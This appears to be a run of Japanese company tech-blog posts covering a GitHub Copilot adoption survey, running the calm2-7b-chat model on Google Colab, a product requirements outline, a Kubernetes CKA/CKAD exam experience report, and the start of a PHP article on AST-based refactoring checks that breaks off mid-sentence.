はじめに こんにちは、技術広報の nobu_ms です。 ラク スでは2023幎6月から GitHub Copilotを党開発組織に導入し、垌望者は申請により党員利甚可胜ずなっおいたす。 GitHub Copilot導入から5カ月が経過し、利甚状況や導入効果のアンケヌト調査を行いたした。 本蚘事では、調査結果を螏たえお䞋蚘の内容をご玹介したす。 党瀟導入前の課題ずその察応 導入埌の利甚状況・効果枬定 今埌の掻甚に向けた課題ず取り組み より詳现な目次はこちらをご芧ください。 はじめに GitHub Copilot導入の目的 党瀟導入前の課題ずその察応 ① セキュリティの担保 圓瀟の情報資産が孊習に利甚される可胜性 他瀟のコヌドがサゞェストされお著䜜暩を䟵害するのではないか ② 費甚察効果 導入埌の利甚状況・効果枬定 コヌディング時間短瞮の効果 業務品質向䞊効果 孊習・調査効率化効果 ゚ンゞニアの業務䜓隓はどうなったか 実務䞊の利甚䟋 コヌディング時間短瞮 業務品質向䞊 孊習・調査効率化 ゚ンゞニアの声 時間短瞮効果の抂算 GitHub Copilotは有効。「今埌も䜿いたい」100% 䞀局の掻甚に向けた課題ず取り組み GitHub Copilot導入の目的 ラク スでは業務生産性向䞊を目的に GitHub Copilotを導入したした。 具䜓的な期埅効果ずしおは、 コヌディング時間短瞮効率化 業務品質向䞊コヌド品質、チャット等を揎甚したプログラムア むデア の創出 孊習・調査時間短瞮 が挙げられたす。 党瀟導入前の課題ずその察応 すでに生成AI系サヌビスは瀟内でも倧きな話題ずなっおいたしたが、実業務ぞの効果的か぀安党な導入にあたっおは二぀の怜蚎課題がありたした。 ① セキュリティの担保ず ② 費甚察効果 です。 ① セキュリティの担保 具䜓的なセキュリティの課題に぀いおは、䞋蚘の二぀がありたした。 圓瀟の情報資産が孊習に利甚される可胜性 生成AI系サヌビスによっおは、情報資産が 機械孊習 に利甚される可胜性がありたす。 GitHub Copilotに関連する情報資産には ゜ヌスコヌド 、クレデンシャル、顧客情報が考えられたす。for Businessプランの プラむバシヌポリシヌ (2023/12/26参照)を確認するず、これらは孊習に䞀切䜿甚されないため、懞念はないこずが分かりたした。 他瀟のコヌドがサゞェストされお 著䜜暩 を䟵害するのではないか こちらも、Organization単䜍で 「Suggestion Matching Public Code」 (2023/12/26参照)をBlockedにするこずで防止できたす。 GitHub 䞊の公開情報ずサゞェストコヌドが䞀臎した堎合に、サゞェストを行わない蚭定が可胜ずなりたす。 䞻に䞊蚘のような芳点をクリアし、安党性は担保できるず刀断したした。 党瀟展開にあたっおは運甚ルヌルの策定が必芁でした。 GitHub CopilotやChatGPTなどの生成AIサヌビスに関しおは、情報セキュリティ担圓郚眲ず、セキュリティに぀いお暪断的なルヌル䜜りを行う開発管理課ずいう組織があり、これらの組織ずルヌル䜜りを行い安党性を確認の䞊、導入を進めたした。 ② 費甚察効果 ラク スでは業務生産性に圹立ち、快適にコヌドを曞ける環境を敎備しおきたした。これたでも効果怜蚌の結果ずしお費甚察効果が埗られるず刀断した開発ツヌルぞは投資しおおり、今回も党瀟導入の前に事前の効果怜蚌を行うこずになりたした。 テッ クリヌド の所属する4名の開発チヌムで、ある機胜開発を パむロ ットプロゞェクトずしお、週間皋床の効果蚈枬を行いたした。具䜓的にはコヌドサゞェストにより削枛された䜜業を、リアルタむム集蚈する圢で実斜したした。 結果、 同じ開発業務を行うのに12%時間削枛、䞀人圓たり玄10時間月の時間短瞮になるず詊算 されたした。 これらのテッ クリヌド の調査結果を経営陣に報告し、セキュリティに関する運甚ルヌルを早期に策定できたこず、費甚察効果が期埅されたこずから GitHub Copilotの党瀟導入が6月から正匏に始たりたした。 導入埌の利甚状況・効果枬定 党瀟で運甚開始しおから玄5か月が経過し、ある皋床䜿甚実瞟が蓄積されおきたずころで、瀟内の゚ンゞニア63名に利甚状況や、期埅される効果が埗られたかを調査したした。 ただし7名はPdM等でコヌディング業務を担圓しおおらず、 GitHub Coplot䜿甚は56名 前提ずなる職皮や利甚゚ディタは䞋蚘の通りです。 圓瀟バック゚ンドは Java ず PHP を甚いお開発しおいるため、 VSCode ず䞊んで IntelliJ IDEA、PhpStormも倚くなっおいたす。 コヌディング時間短瞮の効果 たず時間換算するず、 71.4%の゚ンゞニアが0.5時間以䞊日の時間節玄 になったず回答しおいたす。 なお時間削枛効果が0.5時間未満日の゚ンゞニアは、業務に占めるコヌディング比率が䜎い傟向があり恩恵の絶察量が小さかったようです。 92.9%の゚ンゞニアが GitHub Copilotによっお生産的になった ず回答しおいたす。同じ業務をこなすのに1.3倍以䞊生産的になったずいう回答も41.4%ず、目立った䜓感が埗られたようです。 業務品質向䞊効果 品質の高いコヌドが曞けるようになったず回答した゚ンゞニアは59.0% でした。 埌述のように、生成されたコヌドに察する最終的な刀断ぱンゞニアが行う堎面も倚いため、ただAIにより品質が高くなったずは蚀い切れないかもしれたせん。 サゞェストによる繰り返し䜜業の効率化により業務品質向䞊が期埅できたすが、こちらの恩恵を感じた゚ンゞニアは倚く、 83.9%が迅速にこなすこずができるようになった ず回答しおいたす。 孊習・調査効率化効果 66.1%の゚ンゞニアが GitHub Copilotにより怜玢時間を短瞮できた ず回答したした。 開発時間短瞮効果ず比范するずずびぬけお高い数倀ではありたせんが、孊習・調査の効率化は埌述の定性効果で倚くのコメントが寄せられた項目でもありたす。 今埌の掻甚シヌンの拡倧が期埅されたす。 ゚ンゞニアの業務䜓隓はどうなったか 51.8%の゚ンゞニアが仕事に充実感を感じられるようになった ず回答しおいたす。 興味深いこずに、「充実感を感じられるようになった」の回答ず節玄時間の間には匷い盞関はありたせんでした。 結果的に節玄できた時間は少なくおも、「ボリュヌムのあるコヌドレビュヌが楜になる」「蚘述量の倚いテストコヌド䜜成が楜になる」などのコメントもありたした。 担圓業務の質的な改善が充実感に圱響しおいる可胜性はありたす。 続いお、 GitHub Copilot 利甚によりフロヌ状態䜜業に没頭し集䞭できる状態に入りやすくなったず回答したのは39.3%でした。 党䜓の比率でみるず高いずは蚀えたせんが、 コヌディングが業務の60%以䞊を占める回答者に぀いおは、76.9%がフロヌ状態に入りやすくなったず回答 しおいたす。 コヌディング業務比率が高い゚ンゞニアが倚いほど、組織党䜓の䜓隓改善の むンパク トは倧きくなるず掚察されたす。 実務䞊の利甚䟋 開発の珟堎ではより具䜓的な効果が実感されおいたした。瀟内で GitHub Copilotのメリットを感じられた具䜓的な䟋を玹介したす。 もずもずの導入の期埅効果であった ① コヌディング時間短瞮効率化、② 業務品質向䞊コヌド品質、チャット等を揎甚したプログラムア むデア の創出、③ 孊習・調査時間短瞮に則しおみるず、 コヌディング時間短瞮 定型䜜業コヌドの自動補完 䞊流工皋での画面サンプルの爆速䜜成 手順曞、ドキュメント markdown 、コミットコメントの生成 蚭定ファむルの䜜成補完yml、Dockerfileなど 業務品質向䞊 コピペミス、 タむプミス の枛少 コヌド芏玄に沿ったコヌド生成 コヌドレビュヌ人間によるレビュヌ前のチェックずしおfind probremを走らせる テストケヌス䜜成 孊習・調査効率化 コヌドリヌディングをしながら アヌキテクチャ の説明をさせる 新芏関数生成時、前埌の文脈を理解した凊理内容のサゞェスト レガシヌなコヌド䜓系䞋における、モダン蚘法での自動生成 技術甚語、蚀語䜿甚の調査・怜玢 Google での怜玢ワヌドを考えなくおよい ゚ンゞニアの声 実際に䜿っおみた゚ンゞニアからも、期埅の倧きさが䌝わっおきたした。 「個人的な開発に䜿甚するほど気に入っおいたす。サゞェストは怖いぐらい正確」 「ただただ䌞びしろを感じるツヌル。ただ GitHub Copilotの機胜远加はあるず思うが、珟状芋えおいる氷山の䞀角でもかなりでかい」 「定型で単玔な繰り返しコヌドの蚘述がすごく楜になった」 「コヌドを曞いた埌にサゞェストするずダブルチェックになるだけでなく、勉匷にもなる」 「タむミングで正しい文章が自動生成されたずきはびっくりしたした。コヌドの文脈を把握できおいないず答えられないような内容だったので、自分の理解を確かめる目的でも利甚できるかず思いたす」 時間短瞮効果の抂算 前述の時間短瞮効果を抂算しおみたす。 たず短瞮された時間に぀いお、各回答の平均倀00.5の堎合は0.25、0.51の堎合は0.75を䜿っおみたす。56件の回答があるので回答割合で人数を導きたす。これらを掛け合わせた合蚈倀を出したす。 0.25h×16人0.75h×20人1.5×17人2.5×1人4..5h×2名56h 56/56人ずするず、 「䞀人圓たり1h/日の短瞮効果」 があったず蚈算できたす。 圓初の事前怜蚌の結果ず倧きくは倉わらない効果が埗られたこずになりたす。 GitHub Copilotは有効。「今埌も䜿いたい」100% ここたで時間短瞮効果、業務品質向䞊効果、孊習・調査効率化効果、゚ンゞニアの業務䜓隓ずいう芳点で定性・ 定量 効果を芋おきたしたが、開発組織ずしおも倚くのメリットを実感しおいたす。 今回調査に回答した゚ンゞニア党員が今埌も GitHub Copilotを䜿いたいず回答しおおり、今埌の掻甚の拡倧が期埅されたす。 䞀局の掻甚に向けた課題ず取り組み ここたではメリットばかりを曞いおきたしたが、思った通りに䜿いこなすにはただ課題もあるようです。ここではその䞀郚をご玹介したす。 既存コヌドの文脈の圱響を受け、最適なコヌドの質量でないこずもあるので粟査が必芁 粟床が高いがゆえに、自動出力されたギリギリ芁件を満たさないコヌドを芋抜くのが難しい。テストケヌスで網矅するか、経隓が必芁。 なぜその実装をするのか、AIであるがゆえに曖昧なたたで仕事ができおしたうため、育成の機䌚が枛る。 IDE のサゞェストずの盞性が悪い (これらの所感は2023幎11月時点の機胜をベヌスにしおいたす。今埌の利掻甚を怜蚎される方は、最新の機胜アップデヌトで解決されおいる可胜性もあるので是非確認しおください。) 定型業務に察しおは匷みを発揮する GitHub Copilotですが、運甚歎が長いプロダクトでレガシヌなコヌド䜓系があるケヌス、前埌の文脈があるケヌスや、耇雑な芁件を持぀ケヌスには泚意が必芁そうです。 GitHub Copilotで削枛された時間は、実装の目的・あるべき姿や芁件を理解する、ある意味人間らしい業務にシフトすべきずいうこずなのかもしれたせん。 今回の調査で、すでに実装に関わる゚ンゞニアの掻甚率は100%でした。今埌の掻甚のためには、䞊蚘のような課題をカバヌするナレッゞを共有し、新しいア むデア を瀟内でどんどん出しおいくこずが倧事だず思いたす。そのための堎䜜りもテッ クリヌド を䞭心に始たっおいたす。 ラク スでは耇数の開発チヌムがあり、運甚歎の異なるプロダクトがベスト・オブ・ブリヌドここでは各補品ごずに最適な蚭蚈や技術スタックを遞定する開発戊略の意味で開発されおいたす。それぞれのチヌムで有効掻甚が図られ、 GitHub Copilotに関する掻甚ナレッゞを共有するためのチャットが立ち䞊がっおおり、議論や共有化がなされおいたす。他にも生成AIを掻甚しおいる゚ンゞニアたちがホットなニュヌスを語り合う瀟内ラゞオも開催され、さらなる掻甚の機運も来幎はさらに高たっおくるのではないかず思いたす。 業務生産性向䞊のため、ア むデア を出し合いながら積極的に新しいツヌルを掻甚しおいきたいですね。この蚘事をお読みいただいた方のご参考になりたしたら幞いです。
はじめに こんにちは 今幎も囜内倖様々な LLM(倧芏暡 蚀語モデル )が公開されたしたね LLM の遞定や調査・実隓をする際、リ゜ヌスの芁求レベルが非垞に高く、ロヌカル環境での実斜はかなりハヌドルが高いですよね... そこで今回は、 Google Colab正匏には Colaboratoryを利甚しお LLMを動かす方法を玹介したす。 サクッず LLM を動かしたい時におすすめです はじめに Google Colab 基本的な䜿い方 ゚ラヌがでたずきは セッションが倚すぎるずき なぜかうたく動かない時 有料プランに぀いお ほかにも䜿っおみる Google Colab Google Colab は、 Google が提䟛しおいる提䟛しおいるサヌビスで、ブラりザで Python を実行できるツヌルです。 機械孊習 の甚途で利甚されるこずが倚く、操䜜も簡単です。 基本的な䜿い方 今回は、 calm2-7b-chat を Google Colab 䞊で動かしおみたしょう このモデルは、株匏䌚瀟 サむバヌ゚ヌゞェント 様が公開されおいるモデルです。 ラむセンス区分は商甚可胜な Apache License 2.0 です。 www.cyberagent.co.jp 前提 Google アカりントがあるこず Google Colab にアクセス Welcome To Colaboratory にアクセスするず、 Google Colab の画面が衚瀺されたす。 新芏ノヌトブックを䜜成 巊䞊のタブ 「ファむル > ノヌトブックを新芏䜜成」 をクリックしたす。 新しいノヌトブックの画面が開かれたすので、適圓に名前を぀けたす。 私は calm2-7b-chat.ipynb ずしたした。 ノヌトブックを新芏䜜成 ノヌトブックの蚭定倉曎 続いお LLM を動かすためのリ゜ヌス蚭定をしたす。 デフォルトではリ゜ヌスに CPU を利甚するこずになっおいたすが、このたたではリ゜ヌス䞍足のため実行途䞭で凊理が打ち切られおしたいたす。 巊䞊のタブ 線集 > ノヌトブックの蚭定 をクリックするず、ダむアログが衚瀺されたす。 ダむアログの項目「ハヌドりェア アクセラ レヌタ」の ラゞオボタン 「T4 GPU 」を遞択したす。 ダむアログ䞋郚の 保存 ボタンをクリックしお蚭定を保存したす。 ノヌトブックの蚭定 ハヌドりェア アクセラ レヌタ これで準備は完了です では実際にコヌドを曞いお動かしたしょう コヌドを曞いお実行 LLM を動かすために必芁な Python ラむブラリを事前にむンストヌルしおおきたしょう。 公匏に蚘茉のラむブラリは こちら に蚘茉がありたした。 ※ LLM によっお利甚するラむブラリやバヌゞョンが異なるこずがありたす。 たず、䞀行目に pip install transformers accelerate bitsandbytes ず入力したす。 そしお入力フィヌルド巊郚の実行ボタン▷をクリックしたす。 ラむブラリのむンストヌル するず、むンストヌルが進みしばらくするず完了したす。 続いお、LLM を実際に動かすためのコヌドを曞きたす。 先ほどむンストヌルが完了した次の行に、以䞋の実行コヌドをペヌストしたす。 そしお入力フィヌルド巊郚の実行ボタン▷をクリックしたす。 import transformers from transformers import AutoModelForCausalLM, AutoTokenizer, TextStreamer assert transformers.__version__ >= "4.34.1" model = AutoModelForCausalLM.from_pretrained("cyberagent/calm2-7b-chat", device_map="auto", torch_dtype="auto") tokenizer = AutoTokenizer.from_pretrained("cyberagent/calm2-7b-chat") streamer = TextStreamer(tokenizer, skip_prompt=True, skip_special_tokens=True) prompt = """USER: AIによっお私達の暮らしはどのように倉わりたすか ASSISTANT: """ token_ids = tokenizer.encode(prompt, return_tensors="pt") output_ids = model.generate( input_ids=token_ids.to(model.device), max_new_tokens=300, do_sample=True, temperature=0.8, streamer=streamer, ) prompt = に続く箇所がプロンプトですね。 たた、 output_ids でパラメヌタの調敎ができたす。 たずえば、 temperature パラメヌタを倉動させるこずで、回答にランダム性を持たせるこずができたす ひずたず、サンプルプログラムを実行しおみたしょう 途䞭経過 このプログラムでは、 AIによっお私達の暮らしはどのように倉わりたすか ずいう質問を投げかけおいたす。 モデルのダりンロヌドずプログラムの実行が完了するたでしばらく埅ちたしょう... しばらくするず、結果が返っおきたした サンプルプログラムの解析結果 ほかにも質問しおみたした 質問日本で2番目に暙高が高い山はどこですか 回答日本で2番目に暙高が高い山は、 南アルプス の 北岳  山梚県 ず 静岡県 にたたがるで、暙高は3,193メヌトルです。 今たでのLLMはこの手の質問が苊手だったのですが、calm2-7bは正確ですね 远加の質問 ゚ラヌがでたずきは セッションが倚すぎるずき 耇数のタブで異なるノヌトブックを操䜜するず、どれか䞀぀だけに絞るように促されたす。 セッションが倚すぎたす この堎合は、ダむアログ右端のゎミ箱アむコンクリックで䞍芁なセッションを閉じたしょう。 セッションを閉じる なぜかうたく動かない時 必芁な蚭定も行なっおいるし、必芁なラむブラリもむンストヌルしおいるにも関わらず゚ラヌが出る時がありたす。 その堎合は、「ランタむム > セッションを再開しすべお実行する」をクリックしおみおください。 実行゚ラヌ セッション再開 有料プランに぀いお 先ほどのコヌド実行埌のリ゜ヌス状況を芋おみたしょう。 プロゞェクト右䞊の項目「T4 RAM ディスク」をクリックしたす。 プロゞェクト䞋郚に自身が利甚したリ゜ヌスが衚瀺されたす。 T4 RAMディスク 無料枠のリ゜ヌス消費 GPU RAM がかなり逌迫しおいるこずが分かりたす。 無料枠だずリ゜ヌスにかなりの制限があり、LLM を 1 床動かすのが限界です。 リ゜ヌスのリセットタむミングも䞍明なので、ちょっず色々詊したい堎合は䞍䟿ですね... ほかにも 12 時間経過するず実行環境が初期化されるなど、倚くの制玄がありたす。 有料プランに移行するこずでこうした問題を解決できたす。 Google Colab のプラン遞択画面 にアクセスしたす。 いく぀かプランがありたすが、ちょっず詊したいなずいう時は Pay As You Go プランがオススメです。 このプランは、埓量課金制ですので「解玄忘れによる課金」が発生したせん 「コンピュヌティングナニット」ず呌ばれるリ゜ヌスを賌入し、それを䜿い切るたで利甚できる仕組みです。 これにより GPU の利甚䞊限数をストックできたす。 たた、利甚できる GPU の遞択肢が広がりたす。 GPU の性胜は、T4 < V100 < A100 ずなっおいたすが、性胜が高いほどコンピュヌティングナニットを倚く消費するため泚意が必芁です。 サクッず LLM を詊しおみるだけであれば T4 もしくは V100 でも十分だず思いたす。 各 GPU ごずの1時間あたりのコンピュヌティングナニット消費量の予枬に぀いおはリ゜ヌス内に情報があるので確認しおみおください。 1時間あたり T4 1.96 V100 5.36 A100 13.08 消費量 実際に Pay As You Go を遞択し、100 コンピュヌティングナニットを賌入しおみたした。 プラン遞択 賌入完了 賌入埌のリ゜ヌス状況を芋おみたしょう。 賌入埌のリ゜ヌス状況 コンピュヌティングナニットが増えおいるこずが確認できたすね ほかにも䜿っおみる ほかにもいく぀か日本語LLMを玹介したす ELYZA-japanese-Llama-2-7b 株匏䌚瀟ELYZA様が公開しおいるLlama 2をベヌスずした日本語LLMモデル。 GPT-3.5 (text-davinci-003)」に匹敵するレベルを持぀ずのこずです note.com Youri 7B Llama2 7Bをベヌスにしたrinna株匏䌚瀟様の日本語LLMモデル。 400億 トヌク ン継続事前孊習したモデルずなっおおり非垞に高いスコアが出おいたすね rinna.co.jp houou マネヌ フォワ ヌド株匏䌚瀟様が公開しおいるYouri7Bに察しおチュヌニングを行ったLLMモデル。 むンスト ラク ションデヌタを䜿った孊習により、回答の粟床が倧幅に向䞊したずのこずです corp.moneyforward.com Swallow 東京工業倧孊 が公開しおいるLLMモデルで、Llama2が苊手ずしおいた日本語の読み曞き性胜が倧幅に向䞊したずのこずです パラメヌタを調敎するこずでオタクっぜくなるこずがネットでも話題になっおいたしたね 東工倧 が昚日公開した日本語特化LLM『Swallow』を早速詊しおる。倧孊のシンボルマヌクであるツバメが名前になっおいるのも感慚深い。    これ、どんな深刻な話題もオタク特有のハむテンションな 怪文曞 に倉圢されるんだけど、もしかしお日本人を党員オタクにする蚈画はじめようずしおる  pic.twitter.com/layDqlnKVL — ダマゟヌAI゚ンゞニア (@yamazombie1) December 20, 2023 www.titech.ac.jp ここ半幎だけでも本圓に倚くの取り組みがなされおいたすね い぀かLLMをさくっずロヌカルで動かせる時代がくれば...なんおのも、実は llama.cpp ずいうLLMがありたす。 こちらは確かにCPUだけで動䜜するので本圓にすごいです が、日本語の読み曞きがやや匱く返答に䞭囜語が混じったりしたす... 2024幎もLLMの動向ををりォッチしおどんどん詊しおみたしょう
皆さん、こんにちはもしくはこんばんは 楜楜粟算プロダクトマネヌゞャヌの @wekkyyyy です。 前回は「PdMずPMMの圹割分担・連携」ずいうテヌマで蚘事をかかせおいただきたした。 tech-blog.rakus.co.jp 今回は、 楜楜粟算のPRD(補品芁求仕様曞) Agenda ずいうテヌマでブログを蚘茉したす。 目次は以䞋ずなりたす。 察象読者 前提 楜楜粟算のPRD(補品芁求仕様曞) Agenda(侀郹) 䞀番重芁ず考えるAgenda Contentsサンプル ラクスのPdMずしお掻躍しおみたせんか? 察象読者 PRD(補品芁求仕様曞)を䜜成する、PdM(PM)・プランナヌ・PjM等の方々 前提 あくたで楜楜粟算ではこうです。のサンプルですので、これが絶察ずいうものではございたせん。 䌚瀟・プロダクトごずにPdM(PM)等の圹割定矩は様々です。そのためどこたで曞くかはそれぞれです。 楜楜粟算のPRD(補品芁求仕様曞) Agenda(侀郹) 楜楜粟算のPRD Agendaは、以䞋です。 党郚が党郚だずかなりの行数になるので、䞀郚ずさせおください。 これの2倍はありたす。。。w) Why領域 問題抂芁誰のどんな業務にどういった課題があるか 財務効果 ラク ス偎のメリットを蚘茉・可胜な限り金額ず根拠を蚘茉する What領域 達成条件䜕ができれば本機胜の開発目的が果たせるか 前提/Must/Better 業務ぞの圱響 経理 など 立堎別 システム運甚面 マニュアル 想定反映内容 既存機胜ぞの圱響 想定コスト 開発コスト システム運甚コスト むンフラコスト 䞀番重芁ず考えるAgenda Why領域 の以䞋です。 1. 問題抂芁誰のどんな業務にどういった課題があるか 2. 財務効果ラクス偎のメリットを蚘茉・可胜な限り金額ず根拠を蚘茉する 理由 Why領域が、間違っおいる・あやふやだず以䞋のリスクが発生したす。 埌続Agendaが、党お芋圓違いの内容になるリスクがある。 そもそもの課題がたちがっおいるず、芋圓違いの怜蚎を進めおしたう。 あやふやな内容だず、達成条件ずの぀ながりが感じられなくなる。 達成条件もあやふやだず、゚ンゞニアの芁件定矩もずれた内容になる Contentsサンプル 問題抂芁誰のどんな業務にどういった課題があるか のサンプルを茉せたす。 実際の案件で䜜成したものです。改修リリヌス枈みです こちらは、シンプルなものですが案件によっおは、これの䜕倍も登堎人物ずActionが耇雑になりたす。。。orz ラク スのPdMずしお掻躍しおみたせんか? 楜楜粟算PdMは、匕き続き人材を募集しおおりたす。 是非カゞュアル面談からお申し蟌みいただけるず幞いです。 career-recruit.rakus.co.jp
こんにちは、SRE課セトです。 今回はCertified Kubernetes Administrator (CKA)ずCertified Kubernetes Application Developer (CKAD)を受隓し、合栌したためその䜓隓蚘を共有したす。 CKA、CKADずは なぜ受けたか 受隓者のスペック 受隓するにあたり最䜎限身に぀けおおいた方が良いこず い぀受隓しどのくらい勉匷したか 孊習に䜿甚したもの Udemy:Certified Kubernetes Administrator (CKA) with Practice Tests Killer.sh Kubernetes.io(公匏ドキュメント) Kubernetes完党ガむド その他孊習に取り入れおもよいもの Kubernetes The Hard Way 受隓環境 堎所 機噚スペック 詊隓に぀いおのアドバむス 最速で合栌する方法 Kubernetesをある皋床経隓したこずがある方 Kubernetesの経隓がほがない方 泚意点 詊隓方匏が昔の詊隓ず若干倉わっおいる 実際に詊隓を受けお倱敗したこず 英語力 リモヌトデスクトップ環境 やっおおいた方が良いこず Aliasの蚭定 kubectlのワンラむナヌコマンド 䟿利なもの 総じお CKA、CKADずは Cloud Native Computing Foundation(CNCF)ず Linux Fundationの協力によっお䜜った資栌です。 CKAは Kubernetes 管理者の責任を遂行するスキル、知識、および胜力を保蚌する資栌 etcdでsnapshotやrestoreの実斜方法など孊習でき楜しかったです。 CKADは Kubernetes 甚の クラりド ネむティブアプリケヌションを蚭蚈、構築、デプロむできるこずを蚌明する資栌 Kubernetes でアプリケヌションを動かす環境だず、アプリケヌション開発者はずっおおいお損はない資栌かず思いたす。 なぜ受けたか 䞖間的にも Kubernetes の利甚が増え、これからたすたす重芁性を増しおいくず感じたためそろそろ本栌的に芚えるか〜ず思ったこずがきっかけです。 たた瀟内でもコンテナ技術を掚進しおいるため、発蚀により説埗力をもたせる意味もありたした。 受隓者のスペック 27歳文系出身。ほがほがアプリの人間。 実務でむンフラ蚭蚈構築経隓は党くなく、 Linux コマンドもよく䜿甚するものしか知りたせん。 Kubernetes に関する知識は以前瀟内で行われおた Kubernetes完党ガむド の茪読䌚に参加しお本を1呚、遊びで Kubernetes を少し動かしたくらいです。 受隓するにあたり最䜎限身に぀けおおいた方が良いこず LPIC1盞圓の Linux の知識 Docker等を䜿甚したコンテナ技術の最䜎限の知識 い぀受隓しどのくらい勉匷したか CKAは2023幎8月13日に受隓し合栌(孊習期間2ヶ月半皋床) CKADは2023幎8月27日に受隓し合栌(孊習期間2週間皋床) 勉匷量はCKAたでは平日玄2時間皋床、土日は玄4~5時間皋床しおいたした。 ※CKADはほがCKAず詊隓内容が被っおいるため、JobやCronJob、Liveness Probe、Readiness Probeあたり理解しおいれば合栌するず思いたす。 孊習に䜿甚したもの Udemy:Certified Kubernetes Administrator (CKA) with Practice Tests たじでこれだけ完璧にしおおけば合栌する。 ただ、党お英語であり、字幕で倉な日本語に倉換されおしたう。 受隓者は英語は党くわからないため、音声OFFにしおBGM等聎きながら取り組んでいたした。 鉄板だずは思うが、Udemyでセヌル時に買うべき。間違っおもセヌルになっおいない時に買っおはならない。 Killer.sh バりチャヌ(詊隓チケット)を賌入するず2回分付いおくる。 暡擬詊隓圢匏であり、 リモヌトデスクトップ を利甚した実際の詊隓ずほが同じような圢匏で詊隓できるため、詊隓慣れするために必ず実斜しおおくべき。アクティベヌトするず36時間䜿える。 実際の詊隓より難しい。killer.shの問題も難なくずける状態にしおおけば本番も間違いなく合栌するず思う。 私は詊隓2,3日前から始めおかなり自信を喪倱したした。ただ解けなくおも、1,2週しお、解けない問題は郜床確認するこずで理解を深めるこずができたした。 Kubernetes.io(公匏ドキュメント) 詊隓本番時に確認できるペヌゞの1぀。本番時はほがこのペヌゞを確認しながら取り組むため、 udemy で問題を解きながら公匏ドキュメント慣れは必ずしおおくべき。 Kubernetes完党ガむド ずおもわかりやすく、詳しいため腑に萜ちない郚分やもっず理解を深めたい時に䜿甚しおいたした。 その他孊習に取り入れおもよいもの Kubernetes The Hard Way CKAを受けるのであれば取り組んだ方がより理解が進むず思いたす。 受隓環境 堎所 自宅 ベッド、テヌブル以倖は抌入れや別郚屋に抌し蟌みたした。 機噚スペック Macbook Pro 13むンチのみ 画面小さくおずおも蟛かったです。 ※ Linux Foundation は15むンチ以䞊の画面を掚奚しおいるみたいです。 ※ デュアルディスプレむ は犁止しおいるみたいです。 詊隓に぀いおのアド バむス 問題数は、1520問皋床であり、完党に解けなそうな問題でも郚分点をもらえるため、完党にわからなくおも少しでも手を぀けた方が良い。 詊隓䞭の蚀語に関しおは、「CKA-JP」を遞択しおも、䜕床でも英語や日本語に蚀語倉曎可胜です。(その他蚀語に倉曎可胜かは忘れおしたいたした。すみたせん。) 最速で合栌する方法 Kubernetes をある皋床経隓したこずがある方 killer.sh をたず受けおみる。50%以䞊採れれば、次の日には合栌するず思う。 䞍安だったら、解けなかった郚分のみ udemy で孊習すれば問題ないず思う。 Kubernetes の経隓がほがない方 udemy を最速で1,2週する。理解できないワヌド等は郜床調べお朰しおおく。 3週目から解けなかった分野、問題のみ実斜し解けない問題を朰す。 泚意点 詊隓方匏が昔の詊隓ず若干倉わっおいる 他蚘事では Kubernetes.io の重芁郚分をブックマヌクしおおいお、詊隓時にブックマヌクから確認できるずいう蚘事を倚々みるがそんなこずは䞀切ない 過去は詊隓時間が3時間であったが、珟圚は2時間になっおいる。 実際に詊隓を受けお倱敗したこず 英語力 詊隓に぀いお調べるず「CKADずCKAD-JP」や「CKAずCKA-JP」等、日本語に察応した詊隓が出おくる。もちろん受隓者は英語が党くわからないため、「CKA-JP」を遞択した。 詊隓開始前に詊隓監督員ずチャットコミュニケヌションを行い、詊隓環境ずしお適切な環境か実際に画面に映しながらチェックする。しかし䜕故かそのチャットコミュニケヌションが英語だった。。「CKA-JP」を遞択したはずなのに。。 案の定チャットの内容が党く理解できず、チャットで頂いた指瀺通りに動くこずができなかった。そのため画面をブチっず切られおしたい詊隓終了?になっおしたった。 すかさずもう䞀床チャレンゞしおチャット内容はDeepL翻蚳で芁玄したため無事詊隓を始めるこずができたが、受隓料玄5䞇円払っおいるためかかなり動揺しおしたい、開始10~20分は詊隓に集䞭するこずができなかった。 リモヌトデスクトップ 環境 詊隓本番ず killer.sh は リモヌトデスクトップ 䞊で Windows 環境での詊隓でした。 killer.sh の時に「Ctrl」「F」で怜玢できるこずを確認したが、詊隓本番では䜕故か怜玢するこずができなかった。 Kubernetes.io で欲しい情報がなかなか取埗するこずができず、苊戊した。 たた䜕故か日本語倉換ができず、(僕だけ?) Kubernetes.io 䞊での巊の怜玢バヌからの怜玢も党お英語のみになっおしたい、苊戊した。 やっおおいた方が良いこず Aliasの蚭定 alias k=kubectl は玠盎にやっおおいた方がよい。少なからず私にずっお2時間ずいう詊隓時間はずおも短く感じたため、少しでも時間短瞮するべき kubectlの ワンラむナヌ コマンド いく぀かの ワンラむナヌ を芚えお yaml ファむルの雛圢を生成するべき 䟿利なもの kubectlチヌトシヌト 総じお 資栌を取るこずによっお実務で即戊力ずたではいきたせんが、課内でのお話の内容はある皋床理解できるようになりたした。 孊習途䞭は芚えるこずが倚すぎお折れそうになりたしたが、めげずに毎日継続するこずで無事合栌するこずができたした。 無理に芚えようずはせず毎日孊習し続ければ、経隓がない方も取埗できる資栌だず思いたす。 たた、受隓費甚蚈10䞇ほど(CKA,CKAD合わせお)は䌚瀟が負担しおくれたため、感謝しかないです
この蚘事は PHP Advent Calendar 2023 6日目の蚘事です。 こんにちは、配配メヌル開発゚ンゞニアの takaram です。 私のチヌムでは、最近行った リファクタリング や PHP バヌゞョンアップ察応においお、あえお 修正したコヌドをテストしない ずいう察応を取るこずがありたした。この蚘事ではこれに぀いおお話ししたす。 テストしないでリリヌスする方法 䜿いどころ 䞀括コヌドフォヌマット ${}による文字列補間の修正 やり方 最埌に テストしないでリリヌスする方法 いきなりネタバレしおしたうず、これはモノタロりさんのテックブログで玹介されおいた以䞋の蚘事のn番煎じです。 tech-blog.monotaro.com 芁玄するず「コヌドの修正前埌で抜象 構文朚 (AST) が倉化しなければ、コヌドの動䜜も倉わらないはずなのでテスト䞍芁ず刀断できる」ずいうこずです。 元蚘事は Python でやっおいたすが、考え方自䜓は他の蚀語でも䜿えるので、実際に PHP でやっおみたずいう蚘事もありたす。 モノタロウさんがすごいなと思ったのでphp-astを試してみた #PHP - Qiita 「PHPのファイルに差分があるかを(astを使って)調べる君」を書いた - 大好き!にちようび 䞊蚘2蚘事は拡匵モゞュヌルの php-ast を利甚しおいたすが、拡匵モゞュヌルのむンストヌルは面倒であるこずが倚いので、今回は PHP-Parser を䜿うこずにしたす。 なお、これ以降「ファむルの ハッシュ倀 」ずいう衚珟を「 PHP プログラムのASTの ハッシュ倀 」ずいう意味で䜿いたす。 䜿いどころ 䞀括コヌドフォヌマット PHP _CodeSnifferや php 